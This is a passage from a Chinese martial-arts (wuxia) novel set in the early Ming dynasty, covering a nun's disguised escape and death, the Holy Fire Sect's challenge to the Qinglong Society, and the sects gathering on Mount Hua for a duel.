,慧净顾不得休息,爬出小溪,顺着小路,开始逃亡,慧净吸取上次的教训,不敢径直投奔圣火崖,而是转向东北,顺着芜湖去应天府,然后到了徐州,再从徐州去往邯郸,再从邯郸往圣火崖方向而去,这一路足足走了三四个月,慧净一路上扮作一名乞丐,在脸上粘上胡须,脸上身上都是污垢,让人望而生厌,慧净不敢直接去圣火崖,而是去了西安城,问到了唐旭儿的岳父龚孝严家住址,就在龚家附近乞讨。再说圣火崖唐旭儿新婚后,见妻子秀丽端庄,温柔贤惠,也心生爱怜,和妻子相敬如宾,数月下来,龚雅莲已怀有身孕,这日,龚雅莲对唐旭儿道:“夫君,我这几日心情有点烦躁,你陪我回娘家一趟,我和父母说说话。”唐旭儿知道夫人已经怀孕,肯定有孕期反应,所以连声答应,于是安排备了马车,带上两名丫鬟,和两名教众,下了圣火崖,向西安城岳父家行去。”几个时辰后,已经到了岳父家门口,唐旭儿首先下车,然后招呼两个丫鬟帮着自己,慢慢的扶着夫人下车,就在众人要进龚家时,旁边冲过来一名乞丐,衣衫破烂,满身泥垢,哑着嗓子道:“公子小姐赏几个铜钱给我买馒头。”唐旭儿皱皱眉,伸手从怀中掏出一点碎银,准备给那乞丐,不想那乞丐抬头看清唐旭儿后,低声道:“少教主,我是你姐姐唐赛儿的徒弟慧净,上次我上圣火崖给你送过新婚贺礼。”唐旭儿一听,不由得一惊,慧净接着道:“少教主,我有重大事情向你禀报,请你随我来。”唐旭儿此时也听出这名假扮的男乞丐,其实是一名妇人,正在认真辨认,只见乞丐伸手将脸上胡须抓去,用手擦去脸上的污垢,果然是上次来圣火崖的慧净,唐旭儿吩咐丫鬟和随从将夫人送进龚府,对夫人道:“夫人,我有点小事要办,你先进去,我速去速回。”龚雅莲也听到了乞丐的只言片语,于是就带着丫鬟和随从先进了娘家,唐旭儿跟随慧净来到旁边的小巷,慧净伸手从怀中掏出一个油纸包裹的书信,递给唐旭儿,唐旭儿伸手接过一看,只见上面是姐姐的笔迹,上面写到:“爹娘,青龙会会主宇文山率手下四魔四煞及上百青龙会会众,包围净月庵,威逼我交出乾陵藏宝图,孩儿无能,不能脱身,只能火烧净月庵,并以死相拼,特派我徒慧净前来送信,请爹娘保护好林萱。”唐旭儿看完书信,心急如焚,连忙对慧净道:“师太,请随我去圣火崖,面见我父母。”慧净点点头,唐旭儿让慧净先藏入马车中,然后告知夫人和岳父岳母一家,说有急事要回圣火崖,岳父母见他情急,也就没有挽留,唐旭儿把丫鬟留下陪着夫人,自己带着两名随从和慧净师太挥鞭驱马回到圣火崖,到了圣火崖寨门前,唐旭儿直接赶着马车来到后寨,到了后寨后,才让慧净从马车里出来,然后领着慧净去见父母,见到唐梦泽夫妇后,慧净一五一十将净月庵惨变告诉唐梦泽夫妇,韩夫人本来身体就不太好,猛听见二女儿已经身死,急火攻心,当场就命丧黄泉,唐梦泽,唐旭儿父子全力施救,但却回天乏术,慧净见韩夫人身死,对着唐梦泽跪倒磕了三个响头道:“唐教主,我上次暴露行踪,连累师父和姐妹们惨死,我也无颜再活在世上,请唐教主为我们报仇。”说罢掏出腰中匕首,刺向自己胸口,唐梦泽父子连忙伸手阻拦,却已经来不及了,慧净一匕首刺中自己心脏,当场身死,唐梦泽父子只能强忍悲痛,将韩夫人和慧净厚葬。 21. 第 21 章 第二十一章:华山决斗 待葬礼结束后,唐梦泽召集教中八大法王,带着唐旭儿,沈云,唐兰儿,众人商量如何报仇,八王中,以神翼王萧桐为首,萧桐道:“教主,青龙会这几年不断想把势力扩展到西北诸省,他暗中开的青楼赌档,还有盐铁走私买卖,都被我们圣火教逐一破坏,教中弟子和青龙会会众,时常也有厮杀争斗,如今看来,我们要和青龙会决一死战,才能解决后患。”唐梦泽点点头,道:“当年辽东公孙世家的当家人公孙文,趁元末时期天下大乱,起兵占据了辽东,太祖击败元军后,公孙文上表称臣,又敬献了两个妹妹和大量金银珠宝给太祖,于是太祖并封公孙文为镇北侯,这两个妹妹其中一个叫公孙燕,深得太祖宠爱,被封为皇贵妃,生下一子,为皇太祖第十三子,代王朱桂,太祖看在皇贵妃的面子上,对公孙文十分宠信,命他在辽东抗击高丽女真蒙古侵扰,公孙世家在辽东经营多年,富可敌国,妹妹当了皇贵妃,外甥又是代王,公孙文又拿钱财贿赂了很多文武官员,所以在朝堂之上,很多文武官员,都帮他说话,青龙会宇文氏就是公孙世家一手扶持起来的,像青楼赌场盐铁走私这些灰色生意,都是青龙会出面,但背后的主谋十有八九都是公孙世家,现在公孙世家的当家人公孙宝,和青龙会会主夫人公孙芳是亲兄妹。”萧桐道:“教主,看来官面上,我们想和青龙会对抗恐怕不大容易,公孙文是镇北侯,代王朱桂既是当朝徐皇后的亲妹夫,又是公孙家的外甥,官府方面,我们占不了上风。”唐梦泽心里也知道:“自己女儿唐赛儿造反,永乐皇帝和徐皇后故作不知,没有追究圣火教,已经是看在太祖太后马娘娘和自己母亲徐氏的面子上,如今自己想为女儿唐赛儿报仇,可是在朝廷眼里,女儿唐赛儿却是大逆不道的谋反逆贼,所以想通过官府来查处法办青龙会,根本没有可能,所以这官府的力量是肯定不能用了,想到这,唐梦泽道:“自古武林江湖决斗,都相约华山绝顶,这青龙会害了我的二女儿,又害得我夫人惨死,我与他仇深似海,不共戴天,我准备广发武林贴,以江湖对决的方式,和宇文山和青龙会的四魔四煞在华山绝顶,进行决斗,诸位意下如何?”八王齐声道:“我等身受教主大恩,自当誓死效命。”唐旭儿和沈云也大声道:“爹,师傅,我们也要陪你一起去。”唐梦泽看了看儿子和徒弟,道:“宇文山手下的四魔四煞都是宇文山重金网罗的□□高手,旭儿云儿,你们武功尚未练成,还欠缺火候,暂且不是他们的对手,我带着八王,青龙会会主宇文山和他手下的四魔四煞也是九人,我们以九对九,不死不休,旭儿和云儿,这次华山决斗,就不要参加了。”唐旭儿和沈云也知道自己的武功确实是不如八王,去了可能还是累赘,所以也就不再坚持,唐梦泽道;既然大家都同意和青龙会以江湖决斗的方式,解决彼此恩怨,那我们就通知青龙会,五月初五,华山南峰绝顶,我带八王,与青龙会宇文山及其手下四魔四煞,决一死战,生死由命,输家门派退出江湖,为了防止青龙会和公孙世家暗中耍什么阴谋诡计,我们要通知武林各门各派,请他们与五月初五莅临华山,为此战作个见证。”八王齐声应道:“谨遵教主号令。”唐旭儿道:“爹,青龙会和公孙世家蛇鼠一窝狼狈为奸,又网罗一大批□□高手,和三教九流之士,妄图称霸江湖,为了以防万一,是不是派人通知姐姐姐夫,炎黄岛子弟武功高强,请姐姐姐夫五月初五带领炎黄岛子弟前来华山助威?”唐梦泽摇摇头,道:“自古以来,江湖决斗,只能本门本派弟子参加,不能请其他帮派助拳,虽然志远是我女婿,但是他不是圣火教教徒,也不能参与圣火教和青龙会的决斗,再说你姐夫一家,及炎黄岛子弟,自太祖以来,一直是朝廷钦犯,若是请他们前来,让官府知道了,只怕有害无益。”众人闻言,也点头称是,于是唐梦泽发出武林贴,将青龙会开设赌场,妓院,当铺,勒索商户钱财,敲诈普通百姓,以及走私盐铁等罪状也写在武林贴上,唐梦泽命人通知青龙会和武林各门各派,五月初五圣火教约战青龙会,决战华山之巅。圣火教神翼王萧桐和飞燕王苗雨燕夫妻二人,受唐梦泽之命,去泰山青龙谷送挑战书,萧桐夫妻二人骑着骏马,行了半个多月,来到泰山,泰山,又名东岳,为五岳之一,有泰山安,四海皆安的说法,自秦始皇开始,先后有众多帝王依次亲登泰山封禅或祭祀,山体上留下了几十处古建筑群,数不清的碑碣石刻,是华夏民族历史最悠久的名山之一,因气势磅礴为五岳之首,又有天下名山第一的美誉,泰山也是佛,道两教的胜地,两教的庙宇,名胜遍布全山,岱庙是泰山最大最完整的古建筑群,主体建筑天贶殿与故宫太和殿,孔庙大成殿合称我国三大殿,泰山北部有名刹灵岩寺,寺内有建于唐朝的辟支塔,千佛殿以及墓塔林,名扬天下。泰山主峰玉皇顶,有一幽静山谷,称为青龙谷,青龙会总舵便位于此处,萧桐和苗雨燕夫妻二人来到谷前,只见谷前巍峨耸立一座城楼,气势磅礴,两扇大门紧闭,黑底金漆,大门上方三个大字:青龙会!两人正在打量,忽然听见有人喝到:“来者何人,为何在此窥探?”萧桐朗声答到:“圣火教唐梦泽教主座下,萧桐,苗雨燕,奉唐教主差遣,特来送信。”城楼之上有人答道:“你们在此稍等,我去禀告会主。”夫妻二人等了半个时辰左右,只看见城门缓慢打开,门里奔出来八匹快马,马上端坐八人,七男一女,个个身穿黑衣,来到两人面前,为首一人,大约二十七八岁年纪,浓眉大眼,鼻直口方,身高七尺有余,拱手施礼,道:“翼王,燕王,久仰贤伉俪大名,今日大驾光临,青龙会蓬荜生辉。”萧桐苗雨燕拱手回礼:“道:“不敢不敢,尊驾谬赞了。”那人道:“在下林胜,是青龙会青龙七星的角木蛟,紧随其后一名二十五六岁,相貌和林胜相象,拱手道:“在下林松,是青龙会青龙七星亢金龙,第三个,是一个身材高大威猛,豹头环眼,满面胡须的的男子拱手道:“在下杜超,是青龙会青龙七星的氐土貉。”剩下的四名男子也分别自我介绍,分别是,青龙会青龙七星的房日兔,星月狐,尾火虎,箕水豹,最后一人,是一名女子,二十岁左右,长的身材高挑,肤白貌美,粉面桃花,一双美目,流盼生辉,在马上轻盈施礼:“道:“小女子李如玉,是青龙会客卿,乃青龙会会主夫人公孙芳的义女,我等奉会主之命,特来迎接两位,请。”萧桐苗雨燕见八人个个身手矫健,器宇不凡,心中暗想:“青龙会能够如日中天,称霸齐鲁,果然颇有一些人才,听说李如玉号称青龙玉猫,轻功乃武林一绝,是泰山派前任掌门人李大江的女儿,李大江夫妻前几年被仇家所杀,弟弟李大海接任了泰山派掌门,李大江的姐姐是崂山派掌门人妙慧大师,怎么会让侄女待在青龙谷?”这里笔者要交代一下,泰山派是齐鲁一带数一数二的名门正派,掌门人李大江,姐姐是崂山派掌门人妙慧大师,弟弟李大海是泰山派的副掌门,所以齐鲁武林人士都以妙慧大师,李大江为龙头,几年前李大江一家遭遇仇家寻仇,李大江夫妻不幸身亡,几名凶手正要凌辱李如玉之时,被路过的青龙会会主夫人公孙芳撞见,公孙芳奋力将几名凶手杀死,并将李如玉带到青龙谷,公孙芳对李如玉极好,不但将李如玉收为义女,更是将李如玉视若亲生女儿一般,李大江的弟弟李大海,和姐姐妙慧大师,苦苦查找真相,却一无所获,被青龙会会主夫人公孙芳杀死的几名凶手,和青龙会不但没有任何瓜葛,而且和青龙会也有过仇怨,李大海和姐姐妙慧大师,将李如玉接回李家,让李大海的妻子抚养,但是因为李大海的妻子十分凶悍,对李如玉十分刻薄,李如玉的姑姑妙慧大师身在佛门,本来想把侄女带到庵中抚养,但是李如玉不愿去庵中,此时义母公孙芳前来,把李如玉带回了青龙谷,自此李如玉就在青龙谷生活。再说此时青龙谷中,萧桐对林胜等人道:“有劳各位,请前面带路。”八人调转马头,领着萧桐夫妻入谷,入得谷中,夫妻俩打眼望去,只见道路平坦宽阔,路边小溪中山泉涌现,流水潺潺,小溪两边,树木森森,两边山崖之间,又种了许多花朵,群花争艳,桃李芬芳,风景优美,美不胜收,如同世外桃源一般,一行人缓马前行,正在此时,只听见李如玉道:“翼王燕王,今日大驾光临,待我采几朵茶花相赠。”话一说完,从马上一个纵身,曼妙身形迅疾如风,片刻之间,已经到了山崖之上,伸手采了几朵茶花,又施展身形,追风逐电一般,来到萧桐苗雨燕面前,双手将茶花献上,苗雨燕微微一笑,伸手接过茶花,道:“久闻青龙玉猫,轻功武林一绝,今日一见,果然名不虚传,这茶花虽艳,却不及青龙玉猫风花追月之美,李姑娘的姑姑,崂山神尼妙慧大师,我也曾经见过几面,不知道她最近身体可好?”李如玉的轻功,正是姑姑崂山派掌门人妙慧大师传授,名为风花追月,当今武林,没有几人识得,不料被苗雨燕一眼识破轻功来历,不禁心中一惊,只好答道:“多谢燕王挂念,我姑姑身体康健。”苗雨燕听了,微微一笑道:“多谢如玉姑娘茶花,来而不往非礼也,待我采几枝杜鹃花回赠。”说罢,施展身形,如电光火石一般,众人只觉得还没有来得及眨眼,苗雨燕已经以迅雷不及掩耳之势到了山崖,采下几朵杜鹃花,又施展一招雨燕穿云,如同流星一般划过天空,回到众人面前,伸手将杜鹃花递给李如玉,道:“只盼李姑娘,如这杜鹃一般灿烂,不惧风吹雨打,为世间增添美景芬芳。”李如玉面红耳赤,伸手接过,低声道:“多谢燕王。”林胜林松杜超等人面面相觑,心想:“李如玉的轻功,本会第一,不想遇见苗雨燕,却是落了下风,江湖传闻,圣火教飞燕王苗雨燕轻功天下第一,今日一见,果然名不虚传,圣火教纵横天下数百年,果然人才济济。”一行人继续前行,走了片刻,却见路旁,一棵巨大榆树之上,一群山鸦鸹噪,林胜勒住缰绳,道:“山鸦无礼,鸹噪贵客,待我来教训它们。”说罢,拔出宝剑,纵身一跃,只见剑似游龙,如繁星点点,眨眼之间,七只山鸦落地,剩下的几只,吓得一轰飞起,却不飞远,站在树尖之上,口中鸹噪之声更甚,萧桐淡淡一笑,道:“林兄弟,这招一剑七星,果然是八仙剑派的精髓,八仙剑历代掌门,能一剑七星的,也不过寥寥几人,也只可惜这山鸦愚钝,不知远飞逃命,反而留在树尖鸹噪,待我来助林兄弟一臂之力。”说罢,从马上直接飞起,不等那几只山鸦反应过来,萧桐手作鹰爪,身形如电,已经将三四只山鸦抓在手中,剩下三四只刚要飞逃,只见萧桐脚尖在树梢上一点,在空中一个回旋,又就剩下的三四只山鸦悉数擒获,眨眼之间,七八只山鸦全部擒获,萧桐脚点树梢,一个身形,轻轻落在马背之上,一伸手,将几只山鸦扔在马下,林胜拱手赞道:“好一个一飞冲天,翼王展翅,在下佩服。”萧桐拱手回礼道:“雕虫小技,何足挂齿,林兄弟过奖了。”一行人又行了一会,来到一座大宅院前,只见四周三步一岗五步一哨,戒备森严,几人翻身下马,几个马童上前接过缰绳,拉到一旁照料,林胜四人领着萧桐苗雨燕来到门前,让人前去禀报,片刻工夫,将众人请进大厅,只见这大厅,宽敞明亮,奢华大气,金碧辉煌,高度比平常的议事厅足足高了一倍,只见厅中书案后,端坐两人,正是青龙会会主宇文山和夫人公孙芳,两个二十出头的年轻男子侍立两旁,正是宇文山公孙芳的两个儿子,宇文峰宇文秀,只见宇文山五十岁左右,白净脸庞,三绺长髯,气宇非凡,夫人公孙芳,四十多岁,皮肤白净细腻,容貌秀丽之中带着一丝煞气,眼神灵动顾盼之间,暗藏一丝狡黠,是一位风韵犹存的美貌妇人,公孙芳家世非常显赫,是武林第一世家上一代家主公孙文的嫡女,乃第二代镇北侯公孙宝的亲妹妹,所以宇文山对夫人公孙芳是言听计从,极为尊重,林胜几人拱手施礼,齐声道:“属下参见会主和夫人。”宇文山和公孙芳一抬手,道:“免了。”林胜上前一步,道:“启禀会主,圣火教翼王萧桐,燕王苗雨燕,夫妻二人前来送信。”宇文山打量了萧桐苗雨燕几眼,道:“两位远道而来,一路上辛苦了,请坐,来人,上茶。”萧桐苗雨燕落座之后,童子上前献上茶水,二人掏出唐梦泽书信,交给童子,童子接过书信,转身呈了上去,宇文山接过书信,打开仔细观看,看完之后,和公孙芳低声商量片刻,然后拿起笔,龙飞凤舞写了一封书信,对萧桐苗雨燕道:“烦请两位将书信带回贵教,交于唐教主,五月初五,华山南峰绝顶,我亲率青龙会四魔四煞,恭候唐教主和八大法王大驾。”说罢,命童子将书信交给萧桐夫妇,萧桐夫妇站起身形,接过书信,拱手施礼道:“多谢宇文会主,那我们就不打扰了,告辞,后会有期。”夫妻二人出了宅院,牵过马匹,翻身上马,离开青龙谷。”青龙谷大厅中,林胜拱手道:“禀报会主,我刚才在路上试了一番萧桐,属下惭愧,论武功,属下不是萧桐的对手。”李如玉也拱手道:“女儿无能,苗雨燕轻功果然天下无双,女儿自愧不如。”宇文山点点头,道:“你等不要长他人志气,灭自己威风,圣火教纵横天下数百年,自然有他的过人之处,他们教中八王,都是出生入死百炼成钢的绝顶高手,你们都还年轻,功力修炼尚欠缺火候,你等只要勤学苦练,假以时日,定能出人头地扬威武林。”林胜李如玉等人齐声答道:“多谢会主鼓励,属下定当勤学苦练,不负会主期望。”宇文山点点头,道:“这次决战,事关青龙会生死存亡,我等万万不可大意,此次只要消灭了圣火教,从今往后,江湖之中公孙宇文联手,必能称霸武林,再也没有人敢和我们作对。” 话分两头,圣火教教主唐梦泽,派遣教中大力王陆廷刚,前往嵩山少林寺送信,陆廷刚,原来就是少林寺金刚门弟子,与少林寺颇有渊源,领了教主之命,也是日夜兼程,行了十几日,到了嵩山脚下,嵩山,又称中岳,由太室山与少室山组成,共七十二峰,嵩山北瞰黄河,洛水,南临颍水,箕山,东通郑汴,西连十三朝国都洛阳,是古京师洛阳东方的重要屏障,素为京畿之地,嵩山少林寺座落在少室山北麓五乳峰下,建于北魏太和十九年,江湖中公认,天下武功出少林,隋朝末年,天下大乱,群雄逐鹿,更有十三棍僧救唐王,威震天下,名垂青史,在江湖中,屹立数百年的八大帮派,分别是:“少林派,武当派,昆仑派,峨眉派,点苍派,长白山派,丐帮,圣火教,这其中,少林寺是当之无愧的武林第一大派,陆廷刚一早步行登山,中午时分,来到少林寺寺门前,寺门前站着两个十四五岁小沙弥,陆廷刚拱手施礼,道:“两位小师傅,我乃圣火教唐梦泽教主座下陆廷刚,奉唐教主之命,特来送信给贵寺方丈玄业大师,劳烦两位小师傅通禀一声。”两个小沙弥躬身回礼,道:“施主请稍候,待我禀报知客大师,再做商量。”其中一个转身入寺,功夫不大,只见一个中年和尚随小沙弥来到寺门前,正是少林寺知客僧圆真,来到陆廷刚面前,躬身施礼:“道:“ 不知圣火教大力王大驾光临,贫僧有失远迎,罪过罪过。”陆廷刚躬身回礼,道:“不敢不敢,圆真大师,陆某这厢有礼了。”圆真道:“听闻陆施主是奉唐教主之命,前来送信,给敝寺玄业方丈?”陆廷刚道:“正是。”圆真答道:“陆施主请随我来。”说罢,领着陆廷刚进了少林寺,少林寺历经千年,屹立不倒,宝殿重重,楼台亭阁,足足有数百间之多,圆真领着陆廷刚,来到一个雅静小院,停下脚步,圆真道:“陆施主稍候片刻,待我进去禀报。”陆廷刚拱手施礼道:“有劳大师了。”圆真进了小院,功夫不大,又出了小院,来到陆廷刚面前,道:“陆施主,方丈大师有请。”陆廷刚随圆真入了小院,又进了一间禅房,只见禅房之中,坐着一位老禅师,须眉皆白,慈眉善目,面容清瘦,正是少林寺方丈玄业大师,陆廷刚原是少林寺金刚门弟子,论辈分,是玄业大师的师侄,见到掌门师伯,俯身拜倒,道:“晚辈陆廷刚,拜见掌门师伯。”玄业大师微微一笑,道:“陆师侄虽然出自我少林金刚门,但如今已是圣火教大力王,不必行此大礼。”陆廷刚道:“一日为师终身为父,晚辈深受师门教诲大恩,岂敢忘本?”玄业微微点头,道:“好,请坐下说话。”陆廷刚拱手施礼,道:“多谢师伯赐座。”陆廷刚落座后,将书信从怀中掏出,递于圆真,圆真接过书信,拱手呈给玄业方丈,玄业方丈接过书信,打开仔细观瞧,看完书信,沉思半晌,道:“唐梦泽教主宅心仁厚,心系黎民百姓,不忍天下苍生遭受青龙会荼毒,以身犯险,欲舍身成仁,救天下苍生于水火,可敬可佩,佛语有云:“我不入地狱,谁入地狱?”唐教主此举,正是菩萨慈悲心肠,金刚伏魔手段,老衲佩服,请你回去禀报唐教主,老衲也派人去各大门派,广邀武林同道,五月初五,去华山南峰,为圣火教和青龙会决战做个见证。”陆廷刚拱手施礼:“道:“如此更好,有方丈大师出面邀请,天下武林江湖英雄,定然趋之若鹜,在武林群雄的见证下,我们圣火教和青龙会,光明正大痛痛快快的来场生死对决。”玄业大师道:“五月初五时,待老衲劝上一劝,若是宇文山能够迷途知返,双方化干戈为玉帛,那是最好,免得双方决战,互有死伤。”陆廷刚心想:“青龙会乃心狠手辣,杀人越货,无恶不作,是恶贯满盈之徒,现在和圣火教更是仇深似海,岂是几句佛语就能感化的?”但脸上不动声色,道:“大师慈悲为怀,晚辈佩服。”玄业大师何等人物,察言观色,已知陆廷刚心思,也不多说,道:“圆真。”圆真躬身施礼,答道:“方丈,徒儿在此。”玄业大师道:“陆施主远道而来,一路辛苦,你带陆施主斋堂用斋。”圆真领命,带着陆廷刚去香积厨吃了斋饭,陆廷刚辞别少林,回圣火崖复命。”玄业大师这边,也写了两封书信,命人送往武当掌门华阳道长和丐帮帮主齐国威,邀请两人来少林寺相聚。”大约二十天左右,玄业大师正在禅房诵经,圆真来报:“启禀方丈,武当掌门华阳道长携弟子杜清泉,雷清朗,丐帮帮主齐国威携师弟方子进前来求见。”玄业大师微微点头,对圆真道;速速有请。”功夫不大。”圆真领着武当掌门华阳道长,丐帮帮主齐国威和几名随从,来到禅房。”只见武当掌门华阳道长,身高七尺,一身青袍,年纪五旬左右,五绺长髯飘飘,一派仙风道骨,身后两名弟子,一个叫杜清泉,一个叫雷清朗,都是二十出头年纪,仪表堂堂,再看丐帮帮主齐国威,四十多岁,黑瘦脸庞,身上穿的衣服,是补丁打补丁,身后跟随的是他的师弟方子进,也是黑黑瘦瘦,年纪三十岁左右,身上穿的衣服,也是补丁打补丁,几人看到玄业大师,齐齐躬身施礼道:“参见方丈大师。”玄业大师微微一笑,双手合十,道:“华阳道长,齐帮主,老衲这厢有礼了,请坐。”众人落座后,圆真命小沙弥敬茶,华阳道长和齐帮主道:“大师派人送信,邀我二人前来,不知有何事赐教?”玄业大师微微一笑,道:“华阳道长和齐帮主,可曾收到圣火教唐教主书信?”华阳道长道;我们二十天前,收到圣火教唐教主派人送来的邀请函,请我们各大门派五月初五前往华山南峰,为圣火教和青龙会决斗做个见证,几日前收到方丈大师的书信,恰好齐帮主在我武当,所以我等一起来少林寺拜见大师,请方丈大师,想个万全之策,我等与方丈大师齐进退,唯方丈大师马首是瞻。”玄业大师道:“老衲已经很久没有过问江湖中事,这次为圣火教和青龙会决斗做个见证,如何去做,才是妥当?”只是还是请齐帮主给个建议。”齐国威身为丐帮帮主,成年累月在江湖中打滚,对江湖上的决斗之事,倒是非常熟悉,于是齐国威道:“玄业大师,华阳道长,青龙会现在在各州各府,开设赌场妓院,敲诈勒索,绑架抢劫,穷凶极恶,黎民百姓深受其苦,对青龙会是深恶痛绝,黎民百姓将青龙会恶行报之官府,可官府却是敷衍了事,报官之人往往却死于非命,民间传闻青龙会背后是锦衣卫大统领做会主,真正的幕后主使是朝廷亲王,所以百姓更是不敢反抗,据我所知,青龙会会主宇文山的夫人公孙芳,是辽东镇北侯公孙宝的亲妹妹,公孙宝和代王朱桂是表兄弟,青龙会依仗公孙宝和代王朱桂的权势,无恶不作,而且网罗了大批旁门左道,三教九流之辈,公孙世家和青龙会联手,已经有了妄图称霸武林,一统江湖的心思,我丐帮弟子与青龙会,也多次发生争斗,互有死伤,此次圣火教唐梦泽教主,胸怀大义,挺身而出,以一教之力挑战青龙会,可敬可佩,但是青龙会行事,一向阴险狡诈,不择手段,再加上公孙世家暗中出力,我担心这次圣火教和青龙会的华山决斗,只怕青龙会和公孙世家会施什么阴谋诡计,暗算圣火教,所以我请方丈大师华阳道长在五月初五,多带派中好手,为圣火教助威,防止青龙会仰仗手下旁门左道之徒众多,到时候以多欺少,更要防范公孙世家出手暗算圣火教。”玄业大师和华阳道长,闻言连连点头,道:“齐帮主所言甚是,现在公孙世家和青龙会联手,的确有称霸武林,一统江湖的野心,我等名门正派,自然不能让他们阴谋和野心得逞,我们通知各大门派,五月初五多带门中好手,防止公孙世家和青龙会耍什么阴谋诡计,若是青龙会正大光明的和圣火教公平决斗,我等做好见证即可,若是青龙会想联手公孙世家,想以多欺少,或是耍什么阴谋鬼计,我等定不能容他。”三人商议好后,联名写信,邀请各大门派,五月初五,带领派中高手,到华山南峰绝顶,为圣火教和青龙会的生死对决作个见证。 华山,又称西岳,为五岳之一,雄伟奇峻,山势峻峭,壁立千仞,群峰挺秀,南接秦岭山脉,北瞰黄渭,自古以来就有华山奇险天下第一,和自古华山一条路的说法,今年的华山,感觉格外的热闹,离五月初五还有几天,华山南峰脚下已经是骏马成行,人声鼎沸,形形色色的江湖人士,武林中人,已经在南峰脚下搭起帐篷,有的是各大门派掌门带领的帮中子弟,有的是听到了消息,过来看个热闹。”五月初二这天。”唐梦泽带着圣火教八王,儿子唐旭儿,徒弟沈云,和众多教中高手,将近两百人来到南峰脚下,命人搭起帐篷,供大家休息,众人摩拳擦掌,静候青龙会的到来。 五月初三,唐梦泽正在帐篷中休息,手下来报:“少林寺玄业大师。”武当派华阳道长,丐帮帮主齐国威,带领众多派中高手,已到南峰脚下。”唐梦泽忙带着八王,儿子徒弟,前去迎接,只见迎面浩浩荡荡走来三四百武林中人,打着少林,武当,丐帮,昆仑,点苍,长白山,峨眉的旗号,为首三人正是少林派玄业大师,武当派华阳道长,丐帮帮主齐国威,少林派玄业大师带着门下大弟子本空等人,武当派华阳道长带着杜清泉雷清朗等人,丐帮帮主齐国威师兄弟二人带着丐帮子弟,昆仑派掌门黄向东带着大弟子郑天英,二弟子宋天雄等人,点苍派掌门叶凌潇带着大弟子段昌虎,二弟子沐平番等人,长白山派掌门孟晓春,带着大弟子韩俊峰,二弟子陆秀岭等人,峨眉派来的却是两个年轻人,年纪十七八岁,是峨眉掌门静竹的徒弟,一个叫张矢志,一个叫陈秀娟,这张矢志是荣国公张玉的孙子,是禁军都指挥张飞虎的侄子,这陈秀娟是定国公陈亨的孙女,这两个年轻人从小就定了亲,两人一向喜欢江湖游侠,在京城也是四处求师学艺,在静心师太校场比武时,亲眼目睹了静心师太的高超武艺,两个人佩服的是五体投地,在家中磨了几个月请家中父母,去向太子妃说情,想拜静心师太为师,太子妃张氏见两位重臣来为孩子们求师,也不好推辞,于是便和静心师太商量,静心师太道:“表妹,我现在需要保护瞻基的安全,无暇指点他们武艺。”太子妃张氏道:“表姐,这两个孩子也算是我从小看着长大的,为人正直侠义,一向崇拜江湖中武艺高强人士,这两人的祖父都是我大明的重臣,现在我夫君的太子之位,受人觊觎,还要仰仗朝中的重臣相助,表姐能不能勉为其难,指点这两个孩子几招。”静心师太想了想,道:“我现在身负重任,不能误人子弟,既然这两个孩子,正直侠义,我亲自写信推荐他们去峨眉山我掌门师妹静竹那里,我掌门师妹一身武艺不在我之下,让他们拜我师妹为师。”太子妃张氏见静心师太如此说,也不好勉强,于是请静心师太写信,然后又通知张家陈家,让他们安排张矢志和陈秀娟去峨眉山学艺,张家陈家,本来还有点犹豫,但架不住两个孩子的软磨硬泡,只好同意,让两人去峨眉学艺,两人在峨眉派得到了静竹师太的精心教导,几年之后,两人的武功也是突飞猛进,静竹师太收到了唐梦泽的书信后,心中犹豫不决,既考虑师姐静心临行前的嘱托,不要过多参与江湖中事,但又想峨眉派身为武林八大门派之一,现在圣火教派人来请,去华山决斗做个见证,若是不去,又怕遭江湖同道非议,正在为难之时,张矢志和陈秀,娟也听说此事,软磨硬泡想让师傅静竹师太让他们去华山开开眼界,静心师太考虑了几天,心想:“张矢志和陈秀娟身世显赫,让他们去,估计也没人敢对他们无礼。”所以就派了张矢志和陈秀娟前来华山,唐梦泽见众人来到,忙快走几步,来到众人面前,举手施礼道:“玄业大师,华阳道长,齐帮主,黄掌门,叶掌门,孟掌门,还有峨眉的两位朋友,唐某这厢有礼了。”玄业大师华阳道长齐国威和几位掌门纷纷拱手道:“唐教主,老衲这厢有礼了。”唐教主贫道这厢有礼了。”唐教主齐某这厢有礼啦。”唐梦泽忙请众人到帐篷中落座,几位掌门,随唐梦泽到了圣火教大帐,众人分宾主落座,唐梦泽命人敬上茶水后,拱手道:“此次本教与青龙会五月初五,南峰决战,有劳各位,长途跋涉而来,多有辛苦,唐某感激不尽。”玄业大师双手合十道:“青龙会不但危害祸乱江湖,妄图称霸天下武林,而且荼毒黎民百姓,无恶不作,天下苍生深受其苦,唐教主胸怀天下,挺身而出,为了武林正义,与青龙会决一死战,老衲等人,敬佩不已,自古正邪不两立,老衲等人身为武林中人,自当前来尽一份绵薄之力。”唐梦泽心中感激,拱手称谢,命人在帐中摆下酒宴,款待众人。第二天,五月初四,唐梦泽和几位掌门,正在营帐中叙话,快到中午时分,只听远处山路之上,传来阵阵马蹄声,众人出了帐篷,一眼望去,只见远处山路尘土飞扬,一大批骏马疾驰而来,为首几名彪形大汉,身上背负几面旗帜,旗帜上绣着两个金色大字:青龙!正是宇文山父子,率领手下前来,功夫不大,已经到了众人面前,只见这行人,全部身着黑衣,个个身手矫健,气势非凡,真是人如虎马如龙,足足有四百多人,众多江湖豪杰见到青龙会如此气势,各派首脑人物心中暗暗警醒,一些年轻后辈,和一众看热闹的江湖人士,有些心中暗暗胆怯,宇文山勒住马缰,翻身下马,上前几步,对唐梦泽玄业大师华阳道长等人拱手施礼,道:“唐教主,玄业大师,华阳道长,齐帮主,各位掌门,在下宇文山这厢有礼了。”众人看了宇文山,一身黑衣,身高七尺开外,宽肩膀细腰身,行有虎豹之姿,立如山岳巍峨,听其声,观其形,大约五十岁左右,举手投足,都是一副霸主气质,众人拱手回礼,唐梦泽道:“宇文会主,幸会幸会,那边的空地,是留给你们搭建营帐所用,你们先搭好营帐,好生休息,明日一早,唐某在南峰峰顶恭候大驾。”青龙会主宇文山,呵呵一笑,拱手道:“唐教主,多谢了。”转身就要离去,玄业大师道:“宇文会主,请留步,请听老衲一言。”宇文山拱手施礼道:“玄业大师,有何赐教?”玄业大师道:“青龙会与圣火教,多有争斗,双方死伤众多,今日老衲有一言相劝。”宇文山道:“方丈大师请讲。”玄业大师道:“青龙会行事,实非正道,我劝门主,放下执念,立地成佛,解散青龙会,双方化干戈为玉帛,不失为武林美谈。”唐梦泽在一旁,心中暗想:“青龙会不但害死自己的女儿,而且害得自己夫人急火攻心而死,怎么可能和青龙会握手言和?”宇文山闻言,呵呵一笑,道:“人在江湖身不由己,大师所言,恕我不能从命,告辞。”